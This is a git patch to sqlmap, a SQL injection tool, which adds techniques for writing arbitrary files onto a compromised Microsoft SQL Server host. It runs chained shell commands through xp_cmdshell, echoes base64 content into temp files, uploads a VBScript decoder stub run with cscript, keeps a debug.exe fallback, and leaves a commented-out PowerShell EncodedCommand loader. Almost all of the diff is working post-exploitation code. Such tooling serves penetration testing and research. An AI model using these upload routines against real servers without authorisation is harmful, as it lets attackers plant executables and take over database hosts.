From 4da03d898e198bf8ef385f7197f958128537eb7f Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 25 Apr 2012 07:40:42 +0000 Subject: [PATCH] Added support to create files with a visual basic script - no longer reliant on debug.exe so works on Windows 64-bit too. Fixes #236 --- lib/takeover/xp_cmdshell.py | 29 +++ plugins/dbms/mssqlserver/filesystem.py | 243 +++++++++++++++++++++---- plugins/generic/filesystem.py | 95 ++-------- 3 files changed, 244 insertions(+), 123 deletions(-) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index fc1591c2d..7a1544137 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -120,6 +120,35 @@ class xp_cmdshell: threadData.disableStdOut = popValue() + def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): + echoedLines = [] + cmd = "" + charCounter = 0 + maxLen = 512 + + if isinstance(fileContent, (set, list, tuple)): + lines = fileContent + else: + lines = fileContent.split("\n") + + for line in lines: + echoedLine = "echo %s " % line + echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile) + echoedLines.append(echoedLine) + + for echoedLine in echoedLines: + cmd += "%s & " % echoedLine + charCounter += len(echoedLine) + + if charCounter >= maxLen: + self.xpCmdshellExecCmd(cmd) + + cmd = "" + charCounter = 0 + + if cmd: + self.xpCmdshellExecCmd(cmd) + def xpCmdshellForgeCmd(self, cmd): self.__randStr = randomStr(lowercase=True) self.__cmd = unescaper.unescape("'%s'" % cmd) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 5661bb184..da2c29f2c 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -16,6 +16,8 @@ from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CHARSET_TYPE @@ -31,6 +33,55 @@ class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) + def __dataToScr(self, fileContent, chunkName): + fileLines = [] + fileSize = len(fileContent) + lineAddr = 0x100 + lineLen = 20 + + fileLines.append("n %s" % chunkName) + fileLines.append("rcx") + fileLines.append("%x" % fileSize) + fileLines.append("f 0100 %x 00" % fileSize) + + for fileLine in xrange(0, len(fileContent), lineLen): + scrString = "" + + for lineChar in fileContent[fileLine:fileLine+lineLen]: + strLineChar = hexencode(lineChar) + + if not scrString: + scrString = "e %x %s" % (lineAddr, strLineChar) + else: + scrString += " %s" % strLineChar + + lineAddr += len(lineChar) + + fileLines.append(scrString) + + fileLines.append("w") + fileLines.append("q") + + return fileLines + + def __updateDestChunk(self, fileContent, tmpPath): + randScr = "tmpf%s.scr" % randomStr(lowercase=True) + chunkName = randomStr(lowercase=True) + fileScrLines = self.__dataToScr(fileContent, chunkName) + + logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr)) + + self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) + + logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) + + commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr ) + complComm = " & ".join(command for command in commands) + + self.execCmd(complComm) + + return chunkName + def unionReadFile(self, rFile): errMsg = "Microsoft SQL Server does not support file reading " errMsg += "with UNION query SQL injection technique" @@ -120,32 +171,49 @@ class Filesystem(GenericFilesystem): errMsg += "UNION query SQL injection technique" raise sqlmapUnsupportedFeatureException(errMsg) - def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): - # NOTE: this is needed here because we use xp_cmdshell extended - # procedure to write a file on the back-end Microsoft SQL Server - # file system. Maybe it won't be required to write text files - self.initEnv() + def __stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): + infoMsg = "using PowerShell to write the %s file content " % fileType + infoMsg += "to file '%s', please wait.." % dFile + logger.info(infoMsg) - self.getRemoteTempPath() + randFile = "tmpf%s.txt" % randomStr(lowercase=True) + randFilePath = "%s\%s" % (tmpPath, randFile) + encodedFileContent = hexencode(wFileContent) - debugMsg = "going to use xp_cmdshell extended procedure to write " - debugMsg += "the %s file content to file '%s'" % (fileType, dFile) - logger.debug(debugMsg) + # TODO: need to be fixed + psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile) + psString = psString.encode('utf-16le') + psString = psString.encode("base64")[:-1].replace("\n", "") + + logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath) + + self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) + + logger.debug("converting the file utilizing PowerShell EncodedCommand") + + commands = ( "cd %s" % tmpPath, + "powershell -EncodedCommand %s" % psString, + "del /F /Q %s" % randFilePath ) + complComm = " & ".join(command for command in commands) + + self.execCmd(complComm) + + def __stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + infoMsg = "using debug.exe to write the %s " % fileType + infoMsg += "file content to file '%s', please wait.." % dFile + logger.info(infoMsg) - debugSize = 0xFF00 - tmpPath = posixToNtSlashes(conf.tmpPath) - dFile = posixToNtSlashes(dFile) dFileName = ntpath.basename(dFile) + sFile = "%s\%s" % (tmpPath, dFileName) wFileSize = os.path.getsize(wFile) - wFilePointer = codecs.open(wFile, "rb") - wFileContent = wFilePointer.read() - wFilePointer.close() + debugSize = 0xFF00 if wFileSize < debugSize: - chunkName = self.updateBinChunk(wFileContent, tmpPath) - sFile = "%s\%s" % (tmpPath, dFileName) + chunkName = self.__updateDestChunk(wFileContent, tmpPath) - logger.debug("moving binary file %s to %s" % (sFile, dFile)) + debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType) + debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) + logger.debug(debugMsg) commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) @@ -153,45 +221,142 @@ class Filesystem(GenericFilesystem): self.execCmd(complComm) else: - infoMsg = "the %s file is bigger than %d " % (fileType, debugSize) - infoMsg += "bytes. sqlmap will split it into chunks, upload " - infoMsg += "them and recreate the original file out of the " - infoMsg += "binary chunks server-side, please wait.." - logger.info(infoMsg) - - counter = 1 + debugMsg = "the file is larger than %d bytes. " % debugSize + debugMsg += "sqlmap will split it into chunks locally, upload " + debugMsg += "it chunk by chunk and recreate the original file " + debugMsg += "on the server, please wait.." + logger.debug(debugMsg) for i in xrange(0, wFileSize, debugSize): wFileChunk = wFileContent[i:i + debugSize] - chunkName = self.updateBinChunk(wFileChunk, tmpPath) + chunkName = self.__updateDestChunk(wFileChunk, tmpPath) if i == 0: - infoMsg = "renaming chunk " + debugMsg = "renaming chunk " copyCmd = "ren %s %s" % (chunkName, dFileName) else: - infoMsg = "appending chunk " + debugMsg = "appending chunk " copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) - infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName) - logger.debug(infoMsg) + debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) + logger.debug(debugMsg) commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName) complComm = " & ".join(command for command in commands) self.execCmd(complComm) - logger.info("file chunk %d written" % counter) - - counter += 1 - - sFile = "%s\%s" % (tmpPath, dFileName) - - logger.debug("moving binary file %s to %s" % (sFile, dFile)) + logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) - if confirm: - self.askCheckWrittenFile(wFile, dFile, fileType) + def __stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): + infoMsg = "using a custom visual basic script to write the " + infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile) + logger.info(infoMsg) + + randVbs = "tmps%s.vbs" % randomStr(lowercase=True) + randFile = "tmpf%s.txt" % randomStr(lowercase=True) + randFilePath = "%s\%s" % (tmpPath, randFile) + + vbs = """Dim inputFilePath, outputFilePath + inputFilePath = "%s" + outputFilePath = "%s" + Set fs = CreateObject("Scripting.FileSystemObject") + Set file = fs.GetFile(inputFilePath) + If file.Size Then + Wscript.Echo "Loading from: " & inputFilePath + Wscript.Echo + Set fd = fs.OpenTextFile(inputFilePath, 1) + data = fd.ReadAll + fd.Close + data = Replace(data, " ", "") + data = Replace(data, vbCr, "") + data = Replace(data, vbLf, "") + Wscript.Echo "Fixed Input: " + Wscript.Echo data + Wscript.Echo + decodedData = base64_decode(data) + Wscript.Echo "Output: " + Wscript.Echo decodedData + Wscript.Echo + Wscript.Echo "Writing output in: " & outputFilePath + Wscript.Echo + Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) + ofs.Write decodedData + ofs.close + Else + Wscript.Echo "The file is empty." + End If + Function base64_decode(byVal strIn) + Dim w1, w2, w3, w4, n, strOut + For n = 1 To Len(strIn) Step 4 + w1 = mimedecode(Mid(strIn, n, 1)) + w2 = mimedecode(Mid(strIn, n + 1, 1)) + w3 = mimedecode(Mid(strIn, n + 2, 1)) + w4 = mimedecode(Mid(strIn, n + 3, 1)) + If Not w2 Then _ + strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) + If Not w3 Then _ + strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) + If Not w4 Then _ + strOut = strOut + Chr(((w3 * 64 + w4) And 255)) + Next + base64_decode = strOut + End Function + Function mimedecode(byVal strIn) + Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" + If Len(strIn) = 0 Then + mimedecode = -1 : Exit Function + Else + mimedecode = InStr(Base64Chars, strIn) - 1 + End If + End Function""" % (randFilePath, dFile) + + vbs = vbs.replace(" ", "") + encodedFileContent = wFileContent.encode("base64")[:-1] + + logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) + + self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) + + logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs)) + + self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) + + commands = ( "cd %s" % tmpPath, "cscript //nologo %s" % randVbs, + "del /F /Q %s" % randVbs, + "del /F /Q %s" % randFile ) + complComm = " & ".join(command for command in commands) + + self.execCmd(complComm) + + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): + # NOTE: this is needed here because we use xp_cmdshell extended + # procedure to write a file on the back-end Microsoft SQL Server + # file system + self.initEnv() + + self.getRemoteTempPath() + + tmpPath = posixToNtSlashes(conf.tmpPath) + dFile = posixToNtSlashes(dFile) + wFilePointer = codecs.open(wFile, "rb") + wFileContent = wFilePointer.read() + wFilePointer.close() + + self.__stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) + + sameFile = self.askCheckWrittenFile(wFile, dFile, fileType) + + if sameFile is False: + message = "do you want to try to upload the file with " + message += "another technique? [Y/n] " + choice = readInput(message, default="Y") + + if not choice or choice.lower() == "y": + self.__stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) + #self.__stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index a2f4a2899..a17fc61f7 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -18,6 +18,7 @@ from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.convert import hexdecode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import DBMS @@ -36,11 +37,6 @@ class Filesystem: self.fileTblName = "sqlmapfile" self.tblField = "data" - def __unbase64String(self, base64Str): - unbase64Str = "%s\n" % base64Str.decode("base64") - - return unbase64Str - def __unhexString(self, hexStr): if len(hexStr) % 2 != 0: errMsg = "for some reason(s) sqlmap retrieved an odd-length " @@ -51,49 +47,13 @@ class Filesystem: return hexStr try: - cleanStr = binascii.unhexlify(hexStr) + cleanStr = hexdecode(hexStr) except TypeError, e: logger.critical("unable to unhex the string ('%s')" % e) return None return cleanStr - def __binDataToScr(self, binaryData, chunkName): - """ - Called by Microsoft SQL Server plugin to write a binary file on the - back-end DBMS underlying file system - """ - - fileLines = [] - fileSize = len(binaryData) - lineAddr = 0x100 - lineLen = 20 - - fileLines.append("n %s" % chunkName) - fileLines.append("rcx") - fileLines.append("%x" % fileSize) - fileLines.append("f 0100 %x 00" % fileSize) - - for fileLine in xrange(0, len(binaryData), lineLen): - scrString = "" - - for lineChar in binaryData[fileLine:fileLine+lineLen]: - strLineChar = binascii.hexlify(lineChar) - - if not scrString: - scrString = "e %x %s" % (lineAddr, strLineChar) - else: - scrString += " %s" % strLineChar - - lineAddr += len(lineChar) - - fileLines.append(scrString) - - fileLines.append("w") - fileLines.append("q") - - return fileLines - def __checkWrittenFile(self, wFile, dFile, fileType): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile @@ -113,6 +73,7 @@ class Filesystem: logger.debug("checking if the %s file has been written" % fileType) dFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + sameFile = None if isNumPosStrValue(dFileSize): infoMsg = "the file has been successfully written and " @@ -121,18 +82,23 @@ class Filesystem: dFileSize = long(dFileSize) if wFileSize == dFileSize: + sameFile = True infoMsg += ", same size as the local file '%s'" % wFile else: + sameFile = False infoMsg += ", but the size differs from the local " infoMsg += "file '%s' (%d bytes)" % (wFile, wFileSize) logger.info(infoMsg) else: + sameFile = False warnMsg = "it looks like the file has not been written, this " warnMsg += "can occur if the DBMS process' user has no write " warnMsg += "privileges in the destination path" logger.warn(warnMsg) + return sameFile + def fileToSqlQueries(self, fcEncodedList): """ Called by MySQL and PostgreSQL plugins to write a file on the @@ -190,47 +156,6 @@ class Filesystem: return fcEncodedList - def updateBinChunk(self, binaryData, tmpPath): - """ - Called by Microsoft SQL Server plugin to write a binary file on the - back-end DBMS underlying file system - """ - - randScr = "tmpf%s.scr" % randomStr(lowercase=True) - chunkName = randomStr(lowercase=True) - fileScrLines = self.__binDataToScr(binaryData, chunkName) - forgedScrLines = [] - cmd = "" - charCounter = 0 - maxLen = 512 - - logger.debug("generating binary file %s\%s, please wait.." % (tmpPath, chunkName)) - - for scrLine in fileScrLines: - forgedScrLine = "echo %s " % scrLine - forgedScrLine += ">> \"%s\%s\"" % (tmpPath, randScr) - forgedScrLines.append(forgedScrLine) - - for forgedScrLine in forgedScrLines: - cmd += "%s & " % forgedScrLine - charCounter += len(forgedScrLine) - - if charCounter >= maxLen: - self.execCmd(cmd) - - cmd = "" - charCounter = 0 - - if cmd: - self.execCmd(cmd) - - commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr ) - complComm = " & ".join(command for command in commands) - - self.execCmd(complComm, silent=True) - - return chunkName - def askCheckWrittenFile(self, wFile, dFile, fileType): message = "do you want confirmation that the file '%s' " % dFile message += "has been successfully written on the back-end DBMS " @@ -238,7 +163,9 @@ class Filesystem: output = readInput(message, default="Y") if not output or output in ("y", "Y"): - self.__checkWrittenFile(wFile, dFile, fileType) + return self.__checkWrittenFile(wFile, dFile, fileType) + + return True def unionReadFile(self, rFile): errMsg = "'unionReadFile' method must be defined "